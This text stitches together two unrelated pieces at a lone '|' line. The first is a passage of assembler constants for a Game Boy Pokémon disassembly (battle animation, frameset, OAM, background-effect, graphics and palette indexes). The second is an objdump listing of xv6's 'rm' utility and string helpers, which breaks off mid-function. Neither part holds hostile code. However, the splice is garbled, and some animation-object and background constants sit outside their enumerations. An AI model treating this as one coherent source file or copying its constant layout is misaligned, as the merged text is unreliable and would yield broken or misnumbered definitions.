const ANIM_OBJ_SHADOW_BALL
const ANIM_OBJ_ROCK_SMASH
const ANIM_OBJ_FLOWER
const ANIM_OBJ_COTTON
const ANIM_OBJ_ENEMYFEET_1ROW
const ANIM_OBJ_PLAYERHEAD_1ROW
const ANIM_OBJ_ENEMYFEET_2ROW
const ANIM_OBJ_PLAYERHEAD_2ROW
; DoBattleAnimFrame arguments (see engine/battle_anims/functions.asm)
const_def
const BATTLEANIMFUNC_00
const BATTLEANIMFUNC_01
const BATTLEANIMFUNC_02
const BATTLEANIMFUNC_03
const BATTLEANIMFUNC_04
const BATTLEANIMFUNC_05
const BATTLEANIMFUNC_06
const BATTLEANIMFUNC_07
const BATTLEANIMFUNC_08
const BATTLEANIMFUNC_09
const BATTLEANIMFUNC_0A
const BATTLEANIMFUNC_RAZOR_LEAF
const BATTLEANIMFUNC_0C
const BATTLEANIMFUNC_0D
const BATTLEANIMFUNC_0E
const BATTLEANIMFUNC_0F
const BATTLEANIMFUNC_10
const BATTLEANIMFUNC_11
const BATTLEANIMFUNC_12
const BATTLEANIMFUNC_13
const BATTLEANIMFUNC_14
const BATTLEANIMFUNC_15
const BATTLEANIMFUNC_16
const BATTLEANIMFUNC_17
const BATTLEANIMFUNC_18
const BATTLEANIMFUNC_19
const BATTLEANIMFUNC_1A
const BATTLEANIMFUNC_1B
const BATTLEANIMFUNC_1C
const BATTLEANIMFUNC_1D
const BATTLEANIMFUNC_1E
const BATTLEANIMFUNC_1F
const BATTLEANIMFUNC_LEECH_SEED
const BATTLEANIMFUNC_21
const BATTLEANIMFUNC_22
const BATTLEANIMFUNC_23
const BATTLEANIMFUNC_24
const BATTLEANIMFUNC_25
const BATTLEANIMFUNC_26
const BATTLEANIMFUNC_27
const BATTLEANIMFUNC_28
const BATTLEANIMFUNC_SPRIAL_DESCENT
const BATTLEANIMFUNC_POISON_GAS
const BATTLEANIMFUNC_HORN
const BATTLEANIMFUNC_2C
const BATTLEANIMFUNC_2D
const BATTLEANIMFUNC_2E
const BATTLEANIMFUNC_2F
const BATTLEANIMFUNC_30
const BATTLEANIMFUNC_31
const BATTLEANIMFUNC_32
const BATTLEANIMFUNC_33
const BATTLEANIMFUNC_34
const BATTLEANIMFUNC_35
const BATTLEANIMFUNC_36
const BATTLEANIMFUNC_37
const BATTLEANIMFUNC_38
const BATTLEANIMFUNC_39
const BATTLEANIMFUNC_3A
const BATTLEANIMFUNC_3B
const BATTLEANIMFUNC_3C
const BATTLEANIMFUNC_3D
const BATTLEANIMFUNC_3E
const BATTLEANIMFUNC_3F
const BATTLEANIMFUNC_40
const BATTLEANIMFUNC_41
const BATTLEANIMFUNC_42
const BATTLEANIMFUNC_43
const BATTLEANIMFUNC_44
const BATTLEANIMFUNC_45
const BATTLEANIMFUNC_46
const BATTLEANIMFUNC_47
const BATTLEANIMFUNC_48
const BATTLEANIMFUNC_49
const BATTLEANIMFUNC_4A
const BATTLEANIMFUNC_4B
const BATTLEANIMFUNC_4C
const BATTLEANIMFUNC_4D
const BATTLEANIMFUNC_4E
const BATTLEANIMFUNC_4F
const ANIM_OBJ_CUT_LONG_DOWN_RIGHT
const ANIM_BG_SHAKE_SCREEN_X
const ANIM_OBJ_CUT_LONG_DOWN_LEFT
; BattleAnimFrameData indexes (see data/battle_anims/framesets.asm)
const_def
const BATTLEANIMFRAMESET_00
const BATTLEANIMFRAMESET_01
const BATTLEANIMFRAMESET_02
const BATTLEANIMFRAMESET_03
const BATTLEANIMFRAMESET_04
const BATTLEANIMFRAMESET_05
const BATTLEANIMFRAMESET_06
const BATTLEANIMFRAMESET_07
const BATTLEANIMFRAMESET_08
const BATTLEANIMFRAMESET_09
const BATTLEANIMFRAMESET_0A
const BATTLEANIMFRAMESET_0B
const BATTLEANIMFRAMESET_0C
const BATTLEANIMFRAMESET_0D
const BATTLEANIMFRAMESET_0E
const BATTLEANIMFRAMESET_0F
const BATTLEANIMFRAMESET_10
const BATTLEANIMFRAMESET_11
const BATTLEANIMFRAMESET_12
const BATTLEANIMFRAMESET_13
const BATTLEANIMFRAMESET_14
const BATTLEANIMFRAMESET_15
const BATTLEANIMFRAMESET_16
const BATTLEANIMFRAMESET_17
const BATTLEANIMFRAMESET_18
const BATTLEANIMFRAMESET_19
const BATTLEANIMFRAMESET_1A
const BATTLEANIMFRAMESET_1B
const BATTLEANIMFRAMESET_1C
const BATTLEANIMFRAMESET_1D
const BATTLEANIMFRAMESET_1E
const BATTLEANIMFRAMESET_1F
const BATTLEANIMFRAMESET_20
const BATTLEANIMFRAMESET_21
const BATTLEANIMFRAMESET_22
const BATTLEANIMFRAMESET_23
const BATTLEANIMFRAMESET_24
const BATTLEANIMFRAMESET_25
const BATTLEANIMFRAMESET_26
const BATTLEANIMFRAMESET_27
const BATTLEANIMFRAMESET_28
const BATTLEANIMFRAMESET_29
const BATTLEANIMFRAMESET_2A
const BATTLEANIMFRAMESET_2B
const BATTLEANIMFRAMESET_2C
const BATTLEANIMFRAMESET_2D
const BATTLEANIMFRAMESET_2E
const BATTLEANIMFRAMESET_2F
const BATTLEANIMFRAMESET_30
const BATTLEANIMFRAMESET_31
const BATTLEANIMFRAMESET_32
const BATTLEANIMFRAMESET_33
const BATTLEANIMFRAMESET_34
const BATTLEANIMFRAMESET_35
const BATTLEANIMFRAMESET_36
const BATTLEANIMFRAMESET_37
const BATTLEANIMFRAMESET_38
const BATTLEANIMFRAMESET_39
const BATTLEANIMFRAMESET_3A
const BATTLEANIMFRAMESET_3B
const BATTLEANIMFRAMESET_3C
const BATTLEANIMFRAMESET_3D
const BATTLEANIMFRAMESET_3E
const BATTLEANIMFRAMESET_3F
const BATTLEANIMFRAMESET_40
const BATTLEANIMFRAMESET_41
const BATTLEANIMFRAMESET_42
const BATTLEANIMFRAMESET_43
const BATTLEANIMFRAMESET_44
const BATTLEANIMFRAMESET_45
const BATTLEANIMFRAMESET_46
const BATTLEANIMFRAMESET_47
const BATTLEANIMFRAMESET_48
const BATTLEANIMFRAMESET_49
const BATTLEANIMFRAMESET_4A
const BATTLEANIMFRAMESET_4B
const BATTLEANIMFRAMESET_4C
const BATTLEANIMFRAMESET_4D
const BATTLEANIMFRAMESET_4E
const BATTLEANIMFRAMESET_4F
const BATTLEANIMFRAMESET_50
const BATTLEANIMFRAMESET_51
const BATTLEANIMFRAMESET_52
const BATTLEANIMFRAMESET_53
const BATTLEANIMFRAMESET_54
const BATTLEANIMFRAMESET_55
const BATTLEANIMFRAMESET_56
const BATTLEANIMFRAMESET_57
const BATTLEANIMFRAMESET_58
const BATTLEANIMFRAMESET_59
const BATTLEANIMFRAMESET_5A
const BATTLEANIMFRAMESET_5B
const BATTLEANIMFRAMESET_5C
const BATTLEANIMFRAMESET_5D
const BATTLEANIMFRAMESET_5E
const BATTLEANIMFRAMESET_5F
const BATTLEANIMFRAMESET_60
const BATTLEANIMFRAMESET_61
const BATTLEANIMFRAMESET_62
const BATTLEANIMFRAMESET_63
const BATTLEANIMFRAMESET_64
const BATTLEANIMFRAMESET_65
const BATTLEANIMFRAMESET_66
const BATTLEANIMFRAMESET_67
const BATTLEANIMFRAMESET_68
const BATTLEANIMFRAMESET_69
const BATTLEANIMFRAMESET_6A
const BATTLEANIMFRAMESET_6B
const BATTLEANIMFRAMESET_6C
const BATTLEANIMFRAMESET_6D
const BATTLEANIMFRAMESET_6E
const BATTLEANIMFRAMESET_6F
const BATTLEANIMFRAMESET_70
const BATTLEANIMFRAMESET_71
const BATTLEANIMFRAMESET_72
const BATTLEANIMFRAMESET_73
const BATTLEANIMFRAMESET_74
const BATTLEANIMFRAMESET_75
const BATTLEANIMFRAMESET_76
const BATTLEANIMFRAMESET_77
const BATTLEANIMFRAMESET_78
const BATTLEANIMFRAMESET_79
const BATTLEANIMFRAMESET_7A
const BATTLEANIMFRAMESET_7B
const BATTLEANIMFRAMESET_7C
const BATTLEANIMFRAMESET_7D
const BATTLEANIMFRAMESET_7E
const BATTLEANIMFRAMESET_7F
const BATTLEANIMFRAMESET_80
const BATTLEANIMFRAMESET_81
const BATTLEANIMFRAMESET_82
const BATTLEANIMFRAMESET_83
const BATTLEANIMFRAMESET_84
const BATTLEANIMFRAMESET_85
const BATTLEANIMFRAMESET_86
const BATTLEANIMFRAMESET_87
const BATTLEANIMFRAMESET_88
const BATTLEANIMFRAMESET_89
const BATTLEANIMFRAMESET_8A
const BATTLEANIMFRAMESET_8B
const BATTLEANIMFRAMESET_8C
const BATTLEANIMFRAMESET_8D
const BATTLEANIMFRAMESET_8E
const BATTLEANIMFRAMESET_8F
const BATTLEANIMFRAMESET_90
const BATTLEANIMFRAMESET_91
const BATTLEANIMFRAMESET_92
const BATTLEANIMFRAMESET_93
const BATTLEANIMFRAMESET_94
const BATTLEANIMFRAMESET_95
const BATTLEANIMFRAMESET_96
const BATTLEANIMFRAMESET_97
const BATTLEANIMFRAMESET_98
const BATTLEANIMFRAMESET_99
const BATTLEANIMFRAMESET_9A
const BATTLEANIMFRAMESET_9B
const BATTLEANIMFRAMESET_9C
const BATTLEANIMFRAMESET_9D
const BATTLEANIMFRAMESET_9E
const BATTLEANIMFRAMESET_9F
const BATTLEANIMFRAMESET_A0
const BATTLEANIMFRAMESET_A1
const BATTLEANIMFRAMESET_A2
const BATTLEANIMFRAMESET_A3
const BATTLEANIMFRAMESET_A4
const BATTLEANIMFRAMESET_A5
const BATTLEANIMFRAMESET_A6
const BATTLEANIMFRAMESET_A7
const BATTLEANIMFRAMESET_A8
const BATTLEANIMFRAMESET_A9
const BATTLEANIMFRAMESET_AA
const BATTLEANIMFRAMESET_AB
const BATTLEANIMFRAMESET_AC
const BATTLEANIMFRAMESET_AD
const BATTLEANIMFRAMESET_AE
const BATTLEANIMFRAMESET_AF
const BATTLEANIMFRAMESET_B0
const BATTLEANIMFRAMESET_B1
const BATTLEANIMFRAMESET_B2
const BATTLEANIMFRAMESET_B3
const BATTLEANIMFRAMESET_B4
const BATTLEANIMFRAMESET_B5
const BATTLEANIMFRAMESET_B6
const BATTLEANIMFRAMESET_B7
const BATTLEANIMFRAMESET_B8
; BattleAnimOAMData indexes (see data/battle_anims/oam.asm)
const_def
const BATTLEANIMOAMSET_00
const BATTLEANIMOAMSET_01
const BATTLEANIMOAMSET_02
const BATTLEANIMOAMSET_03
const BATTLEANIMOAMSET_04
const BATTLEANIMOAMSET_05
const BATTLEANIMOAMSET_06
const BATTLEANIMOAMSET_07
const BATTLEANIMOAMSET_08
const BATTLEANIMOAMSET_09
const BATTLEANIMOAMSET_0A
const BATTLEANIMOAMSET_0B
const BATTLEANIMOAMSET_0C
const BATTLEANIMOAMSET_0D
const BATTLEANIMOAMSET_0E
const BATTLEANIMOAMSET_0F
const BATTLEANIMOAMSET_10
const BATTLEANIMOAMSET_11
const BATTLEANIMOAMSET_12
const BATTLEANIMOAMSET_13
const BATTLEANIMOAMSET_14
const BATTLEANIMOAMSET_15
const BATTLEANIMOAMSET_16
const BATTLEANIMOAMSET_17
const BATTLEANIMOAMSET_18
const BATTLEANIMOAMSET_19
const BATTLEANIMOAMSET_1A
const BATTLEANIMOAMSET_1B
const BATTLEANIMOAMSET_1C
const BATTLEANIMOAMSET_1D
const BATTLEANIMOAMSET_1E
const BATTLEANIMOAMSET_1F
const BATTLEANIMOAMSET_20
const BATTLEANIMOAMSET_21
const BATTLEANIMOAMSET_22
const BATTLEANIMOAMSET_23
const BATTLEANIMOAMSET_24
const BATTLEANIMOAMSET_25
const BATTLEANIMOAMSET_26
const BATTLEANIMOAMSET_27
const BATTLEANIMOAMSET_28
const BATTLEANIMOAMSET_29
const BATTLEANIMOAMSET_2A
const BATTLEANIMOAMSET_2B
const BATTLEANIMOAMSET_2C
const BATTLEANIMOAMSET_2D
const BATTLEANIMOAMSET_2E
const BATTLEANIMOAMSET_2F
const BATTLEANIMOAMSET_30
const BATTLEANIMOAMSET_31
const BATTLEANIMOAMSET_32
const BATTLEANIMOAMSET_33
const BATTLEANIMOAMSET_34
const BATTLEANIMOAMSET_35
const BATTLEANIMOAMSET_36
const BATTLEANIMOAMSET_37
const BATTLEANIMOAMSET_38
const BATTLEANIMOAMSET_39
const BATTLEANIMOAMSET_3A
const BATTLEANIMOAMSET_3B
const BATTLEANIMOAMSET_3C
const BATTLEANIMOAMSET_3D
const BATTLEANIMOAMSET_3E
const BATTLEANIMOAMSET_3F
const BATTLEANIMOAMSET_40
const BATTLEANIMOAMSET_41
const BATTLEANIMOAMSET_42
const BATTLEANIMOAMSET_43
const BATTLEANIMOAMSET_44
const BATTLEANIMOAMSET_45
const BATTLEANIMOAMSET_46
const BATTLEANIMOAMSET_47
const BATTLEANIMOAMSET_48
const BATTLEANIMOAMSET_49
const BATTLEANIMOAMSET_4A
const BATTLEANIMOAMSET_4B
const BATTLEANIMOAMSET_4C
const BATTLEANIMOAMSET_4D
const BATTLEANIMOAMSET_4E
const BATTLEANIMOAMSET_4F
const BATTLEANIMOAMSET_50
const BATTLEANIMOAMSET_51
const BATTLEANIMOAMSET_52
const BATTLEANIMOAMSET_53
const BATTLEANIMOAMSET_54
const BATTLEANIMOAMSET_55
const BATTLEANIMOAMSET_56
const BATTLEANIMOAMSET_57
const BATTLEANIMOAMSET_58
const BATTLEANIMOAMSET_59
const BATTLEANIMOAMSET_5A
const BATTLEANIMOAMSET_5B
const BATTLEANIMOAMSET_5C
const BATTLEANIMOAMSET_5D
const BATTLEANIMOAMSET_5E
const BATTLEANIMOAMSET_5F
const BATTLEANIMOAMSET_60
const BATTLEANIMOAMSET_61
const BATTLEANIMOAMSET_62
const BATTLEANIMOAMSET_63
const BATTLEANIMOAMSET_64
const BATTLEANIMOAMSET_65
const BATTLEANIMOAMSET_66
const BATTLEANIMOAMSET_67
const BATTLEANIMOAMSET_68
const BATTLEANIMOAMSET_69
const BATTLEANIMOAMSET_6A
const BATTLEANIMOAMSET_6B
const BATTLEANIMOAMSET_6C
const BATTLEANIMOAMSET_6D
const BATTLEANIMOAMSET_6E
const BATTLEANIMOAMSET_6F
const BATTLEANIMOAMSET_70
const BATTLEANIMOAMSET_71
const BATTLEANIMOAMSET_72
const BATTLEANIMOAMSET_73
const BATTLEANIMOAMSET_74
const BATTLEANIMOAMSET_75
const BATTLEANIMOAMSET_76
const BATTLEANIMOAMSET_77
const BATTLEANIMOAMSET_78
const BATTLEANIMOAMSET_79
const BATTLEANIMOAMSET_7A
const BATTLEANIMOAMSET_7B
const BATTLEANIMOAMSET_7C
const BATTLEANIMOAMSET_7D
const BATTLEANIMOAMSET_7E
const BATTLEANIMOAMSET_7F
const BATTLEANIMOAMSET_80
const BATTLEANIMOAMSET_81
const BATTLEANIMOAMSET_82
const BATTLEANIMOAMSET_83
const BATTLEANIMOAMSET_84
const BATTLEANIMOAMSET_85
const BATTLEANIMOAMSET_86
const BATTLEANIMOAMSET_87
const BATTLEANIMOAMSET_88
const BATTLEANIMOAMSET_89
const BATTLEANIMOAMSET_8A
const BATTLEANIMOAMSET_8B
const BATTLEANIMOAMSET_8C
const BATTLEANIMOAMSET_8D
const BATTLEANIMOAMSET_8E
const BATTLEANIMOAMSET_8F
const BATTLEANIMOAMSET_90
const BATTLEANIMOAMSET_91
const BATTLEANIMOAMSET_92
const BATTLEANIMOAMSET_93
const BATTLEANIMOAMSET_94
const BATTLEANIMOAMSET_95
const BATTLEANIMOAMSET_96
const BATTLEANIMOAMSET_97
const BATTLEANIMOAMSET_98
const BATTLEANIMOAMSET_99
const BATTLEANIMOAMSET_9A
const BATTLEANIMOAMSET_9B
const BATTLEANIMOAMSET_9C
const BATTLEANIMOAMSET_9D
const BATTLEANIMOAMSET_9E
const BATTLEANIMOAMSET_9F
const BATTLEANIMOAMSET_A0
const BATTLEANIMOAMSET_A1
const BATTLEANIMOAMSET_A2
const BATTLEANIMOAMSET_A3
const BATTLEANIMOAMSET_A4
const BATTLEANIMOAMSET_A5
const BATTLEANIMOAMSET_A6
const BATTLEANIMOAMSET_A7
const BATTLEANIMOAMSET_A8
const BATTLEANIMOAMSET_A9
const BATTLEANIMOAMSET_AA
const BATTLEANIMOAMSET_AB
const BATTLEANIMOAMSET_AC
const BATTLEANIMOAMSET_AD
const BATTLEANIMOAMSET_AE
const BATTLEANIMOAMSET_AF
const BATTLEANIMOAMSET_B0
const BATTLEANIMOAMSET_B1
const BATTLEANIMOAMSET_B2
const BATTLEANIMOAMSET_B3
const BATTLEANIMOAMSET_B4
const BATTLEANIMOAMSET_B5
const BATTLEANIMOAMSET_B6
const BATTLEANIMOAMSET_B7
const BATTLEANIMOAMSET_B8
const BATTLEANIMOAMSET_B9
const BATTLEANIMOAMSET_BA
const BATTLEANIMOAMSET_BB
const BATTLEANIMOAMSET_BC
const BATTLEANIMOAMSET_BD
const BATTLEANIMOAMSET_BE
const BATTLEANIMOAMSET_BF
const BATTLEANIMOAMSET_C0
const BATTLEANIMOAMSET_C1
const BATTLEANIMOAMSET_C2
const BATTLEANIMOAMSET_C3
const BATTLEANIMOAMSET_C4
const BATTLEANIMOAMSET_C5
const BATTLEANIMOAMSET_C6
const BATTLEANIMOAMSET_C7
const BATTLEANIMOAMSET_C8
const BATTLEANIMOAMSET_C9
const BATTLEANIMOAMSET_CA
const BATTLEANIMOAMSET_CB
const BATTLEANIMOAMSET_CC
const BATTLEANIMOAMSET_CD
const BATTLEANIMOAMSET_CE
const BATTLEANIMOAMSET_CF
const BATTLEANIMOAMSET_D0
const BATTLEANIMOAMSET_D1
const BATTLEANIMOAMSET_D2
const BATTLEANIMOAMSET_D3
const BATTLEANIMOAMSET_D4
const BATTLEANIMOAMSET_D5
const BATTLEANIMOAMSET_D6
const BATTLEANIMOAMSET_D7
; BattleBGEffects indexes (see engine/battle_anims/bg_effects.asm)
const_def 1
const ANIM_BG_FLASH_INVERTED
const ANIM_BG_FLASH_WHITE
const ANIM_BG_WHITE_HUES
const ANIM_BG_BLACK_HUES
const ANIM_BG_ALTERNATE_HUES
const ANIM_BG_06
const ANIM_BG_07
const ANIM_BG_08
const ANIM_BG_HIDE_MON
const ANIM_BG_SHOW_MON
const ANIM_BG_ENTER_MON
const ANIM_BG_RETURN_MON
const ANIM_BG_SURF
const ANIM_BG_WHIRLPOOL
const ANIM_BG_TELEPORT
const ANIM_BG_NIGHT_SHADE
const ANIM_BG_BATTLEROBJ_1ROW
const ANIM_BG_BATTLEROBJ_2ROW
const ANIM_BG_DOUBLE_TEAM
const ANIM_BG_ACID_ARMOR
const ANIM_BG_RAPID_FLASH
const ANIM_BG_16
const ANIM_BG_17
const ANIM_BG_18
const ANIM_BG_19
const ANIM_BG_1A
const ANIM_BG_1B
const ANIM_BG_1C
const ANIM_BG_1D
const ANIM_BG_1E
const ANIM_BG_1F
const ANIM_BG_20
const ANIM_BG_WITHDRAW
const ANIM_BG_BOUNCE_DOWN
const ANIM_BG_DIG
const ANIM_BG_TACKLE
const ANIM_BG_25
const ANIM_BG_26
const ANIM_BG_27
const ANIM_BG_WAVE_DEFORM_USER
const ANIM_BG_PSYCHIC
const ANIM_BG_2A
const ANIM_BG_2B
const ANIM_BG_2C
const ANIM_BG_2D
const ANIM_BG_2E
const ANIM_BG_2F
const ANIM_BG_30
const ANIM_BG_31
const ANIM_BG_32
const ANIM_BG_VIBRATE_MON
const ANIM_BG_WOBBLE_MON
const ANIM_BG_35
; AnimObjGFX indexes (see data/battle_anims/object_gfx.asm)
const_def 1
const ANIM_GFX_HIT
const ANIM_GFX_CUT
const ANIM_GFX_FIRE
const ANIM_GFX_WATER
const ANIM_GFX_LIGHTNING
const ANIM_GFX_PLANT
const ANIM_GFX_SMOKE
const ANIM_GFX_EXPLOSION
const ANIM_GFX_ROCKS
const ANIM_GFX_ICE
const ANIM_GFX_POKE_BALL
const ANIM_GFX_POISON
const ANIM_GFX_BUBBLE
const ANIM_GFX_NOISE
const ANIM_GFX_POWDER
const ANIM_GFX_BEAM
const ANIM_GFX_SPEED
const ANIM_GFX_CHARGE
const ANIM_GFX_WIND
const ANIM_GFX_WHIP
const ANIM_GFX_EGG
const ANIM_GFX_ROPE
const ANIM_GFX_PSYCHIC
const ANIM_GFX_REFLECT
const ANIM_GFX_STATUS
const ANIM_GFX_SAND
const ANIM_GFX_WEB
const ANIM_GFX_HAZE
const ANIM_GFX_HORN
const ANIM_GFX_FLOWER
const ANIM_GFX_MISC
const ANIM_GFX_SKY_ATTACK
const ANIM_GFX_GLOBE
const ANIM_GFX_SHAPES
const ANIM_GFX_OBJECTS
const ANIM_GFX_SHINE
const ANIM_GFX_ANGELS
const ANIM_GFX_WAVE
const ANIM_GFX_AEROBLAST
const ANIM_GFX_PLAYERHEAD
const ANIM_GFX_ENEMYFEET
; battle_bg_effect struct members (see macros/wram.asm)
const_def
const BG_EFFECT_STRUCT_FUNCTION
const BG_EFFECT_STRUCT_JT_INDEX
const BG_EFFECT_STRUCT_BATTLE_TURN
const BG_EFFECT_STRUCT_03
BG_EFFECT_STRUCT_LENGTH EQU const_value
NUM_BG_EFFECTS EQU 5 ; see wActiveBGEffects
; battle palettes
const_def
const PAL_BATTLE_BG_PLAYER ; 0
const PAL_BATTLE_BG_ENEMY ; 1
const PAL_BATTLE_BG_ENEMY_HP ; 2
const PAL_BATTLE_BG_PLAYER_HP ; 3
const PAL_BATTLE_BG_EXP ; 4
const PAL_BATTLE_BG_5 ; 5
const PAL_BATTLE_BG_6 ; 6
const PAL_BATTLE_BG_TEXT ; 7
; animation object palettes
const_def
const PAL_BATTLE_OB_ENEMY ; 0
const PAL_BATTLE_OB_PLAYER ; 1
const PAL_BATTLE_OB_GRAY ; 2
const PAL_BATTLE_OB_YELLOW ; 3
const PAL_BATTLE_OB_RED ; 4
const PAL_BATTLE_OB_GREEN ; 5
const PAL_BATTLE_OB_BLUE ; 6
const PAL_BATTLE_OB_BROWN ; 7
|
_rm: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "stat.h"
#include "user.h"
int
main(int argc, char *argv[])
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 53 push %ebx
e: 51 push %ecx
f: 83 ec 10 sub $0x10,%esp
12: 89 cb mov %ecx,%ebx
int i;
if(argc < 2){
14: 83 3b 01 cmpl $0x1,(%ebx)
17: 7f 17 jg 30 <main+0x30>
printf(2, "Usage: rm files...\n");
19: 83 ec 08 sub $0x8,%esp
1c: 68 2c 08 00 00 push $0x82c
21: 6a 02 push $0x2
23: e8 4e 04 00 00 call 476 <printf>
28: 83 c4 10 add $0x10,%esp
exit();
2b: e8 b7 02 00 00 call 2e7 <exit>
}
for(i = 1; i < argc; i++){
30: c7 45 f4 01 00 00 00 movl $0x1,-0xc(%ebp)
37: eb 4b jmp 84 <main+0x84>
if(unlink(argv[i]) < 0){
39: 8b 45 f4 mov -0xc(%ebp),%eax
3c: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
43: 8b 43 04 mov 0x4(%ebx),%eax
46: 01 d0 add %edx,%eax
48: 8b 00 mov (%eax),%eax
4a: 83 ec 0c sub $0xc,%esp
4d: 50 push %eax
4e: e8 e4 02 00 00 call 337 <unlink>
53: 83 c4 10 add $0x10,%esp
56: 85 c0 test %eax,%eax
58: 79 26 jns 80 <main+0x80>
printf(2, "rm: %s failed to delete\n", argv[i]);
5a: 8b 45 f4 mov -0xc(%ebp),%eax
5d: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
64: 8b 43 04 mov 0x4(%ebx),%eax
67: 01 d0 add %edx,%eax
69: 8b 00 mov (%eax),%eax
6b: 83 ec 04 sub $0x4,%esp
6e: 50 push %eax
6f: 68 40 08 00 00 push $0x840
74: 6a 02 push $0x2
76: e8 fb 03 00 00 call 476 <printf>
7b: 83 c4 10 add $0x10,%esp
break;
7e: eb 0b jmp 8b <main+0x8b>
if(argc < 2){
printf(2, "Usage: rm files...\n");
exit();
}
for(i = 1; i < argc; i++){
80: 83 45 f4 01 addl $0x1,-0xc(%ebp)
84: 8b 45 f4 mov -0xc(%ebp),%eax
87: 3b 03 cmp (%ebx),%eax
89: 7c ae jl 39 <main+0x39>
printf(2, "rm: %s failed to delete\n", argv[i]);
break;
}
}
exit();
8b: e8 57 02 00 00 call 2e7 <exit>
00000090 <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
90: 55 push %ebp
91: 89 e5 mov %esp,%ebp
93: 57 push %edi
94: 53 push %ebx
asm volatile("cld; rep stosb" :
95: 8b 4d 08 mov 0x8(%ebp),%ecx
98: 8b 55 10 mov 0x10(%ebp),%edx
9b: 8b 45 0c mov 0xc(%ebp),%eax
9e: 89 cb mov %ecx,%ebx
a0: 89 df mov %ebx,%edi
a2: 89 d1 mov %edx,%ecx
a4: fc cld
a5: f3 aa rep stos %al,%es:(%edi)
a7: 89 ca mov %ecx,%edx
a9: 89 fb mov %edi,%ebx
ab: 89 5d 08 mov %ebx,0x8(%ebp)
ae: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
b1: 90 nop
b2: 5b pop %ebx
b3: 5f pop %edi
b4: 5d pop %ebp
b5: c3 ret
000000b6 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
b6: 55 push %ebp
b7: 89 e5 mov %esp,%ebp
b9: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
bc: 8b 45 08 mov 0x8(%ebp),%eax
bf: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
c2: 90 nop
c3: 8b 45 08 mov 0x8(%ebp),%eax
c6: 8d 50 01 lea 0x1(%eax),%edx
c9: 89 55 08 mov %edx,0x8(%ebp)
cc: 8b 55 0c mov 0xc(%ebp),%edx
cf: 8d 4a 01 lea 0x1(%edx),%ecx
d2: 89 4d 0c mov %ecx,0xc(%ebp)
d5: 0f b6 12 movzbl (%edx),%edx
d8: 88 10 mov %dl,(%eax)
da: 0f b6 00 movzbl (%eax),%eax
dd: 84 c0 test %al,%al
df: 75 e2 jne c3 <strcpy+0xd>
;
return os;
e1: 8b 45 fc mov -0x4(%ebp),%eax
}
e4: c9 leave
e5: c3 ret
000000e6 <strcmp>:
int
strcmp(const char *p, const char *q)
{
e6: 55 push %ebp
e7: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
e9: eb 08 jmp f3 <strcmp+0xd>
p++, q++;
eb: 83 45 08 01 addl $0x1,0x8(%ebp)
ef: 83 45 0c 01 addl $0x1,0xc(%ebp)
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
f3: 8b 45 08 mov 0x8(%ebp),%eax
f6: 0f b6 00 movzbl (%eax),%eax
f9: 84 c0 test %al,%al
fb: 74 10 je 10d <strcmp+0x27>
fd: 8b 45 08 mov 0x8(%ebp),%eax
100: 0f b6 10 movzbl (%eax),%edx
103: 8b 45 0c mov 0xc(%ebp),%eax
106: 0f b6 00 movzbl (%eax),%eax
109: 38 c2 cmp %al,%dl
10b: 74 de je eb <strcmp+0x5>
p++, q++;
return (uchar)*p - (uchar)*q;
10d: 8b 45 08 mov 0x8(%ebp),%eax
110: 0f b6 00 movzbl (%eax),%eax
113: 0f b6 d0 movzbl %al,%edx
116: 8b 45 0c mov 0xc(%ebp),%eax
119: 0f b6 00 movzbl (%eax),%eax
11c: 0f b6 c0 movzbl %al,%eax
11f: 29 c2 sub %eax,%edx
121: 89 d0 mov %edx,%eax
}
123: 5d pop %ebp
124: c3 ret
00000125 <strlen>:
uint
strlen(char *s)
{
125: 55 push %ebp
126: 89 e5 mov %esp,%ebp
128: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
12b: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
132: eb 04 jmp 138 <strlen+0x13>
134: 83 45 fc 01 addl $0x1,-0x4(%ebp)
138: 8b 55 fc mov -0x4(%ebp),%edx
13b: 8b 45 08 mov 0x8(%ebp),%eax
13e: 01 d0 add %edx,%eax
140: 0f b6 00 movzbl (%eax),%eax
143: 84 c0 test %al,%al
145: 75 ed jne 134 <strlen+0xf>
;
return n;
147: 8b 45 fc mov -0x4(%ebp),%eax
}
14a: c9 leave
14b: c3 ret
0000014c <memset>:
void*
memset(void *dst, int c, uint n)
{
14c: 55 push %ebp
14d: 89 e5 mov %esp,%ebp
stosb(dst, c, n);
14f: 8b 45 10 mov 0x10(%ebp),%eax
152: 50 push %eax
153: ff 75 0c pushl 0xc(%ebp)
156: ff 75 08 pushl 0x8(%ebp)
159: e8 32 ff ff ff call 90 <stosb>
15e: 83 c4 0c add $0xc,%esp
return dst;
161: 8b 45 08 mov 0x8(%ebp),%eax
}
164: c9 leave
165: c3 ret
00000166 <strchr>:
char*
strchr(const char *s, char c)
{
166: 55 push %ebp
167: 89 e5 mov %esp,%ebp
169: 83 ec 04 sub $0x4,%esp
16c: 8b 45 0c mov 0xc(%ebp),%eax
16f: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
172: eb 14 jmp 188 <strchr+0x22>
if(*s == c)
174: 8b 45 08 mov 0x8(%ebp),%eax
177: 0f b6 00 movzbl (%eax),%eax
17a: 3a 45 fc cmp -0x4(%ebp),%al
17d: 75 05 jne 184 <strchr+0x1e>
return (char*)s;
17f: 8b 45 08 mov 0x8(%ebp),%eax
182: eb 13 jmp 197 <strchr+0x31>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
184: 83 45 08 01 addl $0x1,0x8(%ebp)
188: 8b 45 08 mov 0x8(%ebp),%eax
18b: 0f b6 00 movzbl (%eax),%eax
